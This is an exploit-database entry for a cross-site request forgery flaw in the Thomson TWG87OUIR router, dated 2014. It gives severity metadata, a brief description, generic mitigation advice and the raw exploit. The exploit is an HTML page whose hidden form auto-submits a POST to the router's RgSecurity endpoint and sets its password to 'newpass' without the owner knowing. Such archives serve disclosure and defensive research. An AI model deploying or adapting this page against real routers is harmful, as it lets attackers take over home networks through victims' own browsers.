header-logo
Suggest Exploit
vendor:
TWG87OUIR
by:
nopesled
8,8
CVSS
HIGH
POST Password Reset CSRF
352
CWE
Product Name: TWG87OUIR
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Hardware Version
2014

Thomson TWG87OUIR CSRF

This exploit allows an attacker to reset the password of a Thomson TWG87OUIR router by exploiting a Cross-Site Request Forgery (CSRF) vulnerability. The exploit is triggered by sending a malicious POST request to the router's web interface, which contains the new password in the request body. The router then sets the new password without any user interaction.

Mitigation:

To mitigate this vulnerability, the router should be configured to only accept authenticated requests from trusted sources. Additionally, the router should be configured to use a secure connection (HTTPS) for all web requests.
Source

Exploit-DB raw data:

#Author: nopesled
#Date: 24/06/14
#Vulnerability: POST Password Reset CSRF
#Tested on: Thomson TWG87OUIR (Hardware Version)

<html>
<head>
	<title>Thomson TWG87OUIR CSRF</title>
</head>
<body>
     <form name="exploit" method="post"
	action="http://192.168.0.1/goform/RgSecurity">
	<input type="hidden" name="HttpUserId" value="" />
	<input type="hidden" name="Password" value="newpass" />
	<input type="hidden" name="PasswordReEnter" value="newpass" />
	<input type="hidden" name="RestoreFactoryNo" value-="0x00" />
     </form>
     <script type="text/javascript">
	document.exploit.submit();
     </script>
</body>
</html>

Navigation

Suggest Exploit

Services By CQR